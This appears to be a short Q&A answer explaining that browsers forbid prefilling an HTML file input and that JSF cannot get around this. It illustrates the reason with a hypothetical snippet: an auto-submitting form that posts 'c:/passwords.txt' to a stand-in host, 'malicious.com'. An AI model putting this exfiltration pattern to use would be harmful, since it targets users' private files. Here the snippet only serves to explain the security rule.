That's not possible. That's a security restriction by HTML. You cannot prefill/preserve the value of a HTML <input type="file">
field. Since JSF just generates HTML, JSF can't do much about it.
Imagine that this security restriction didn't exist, websites would be able to do the following:
<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>
Do you see?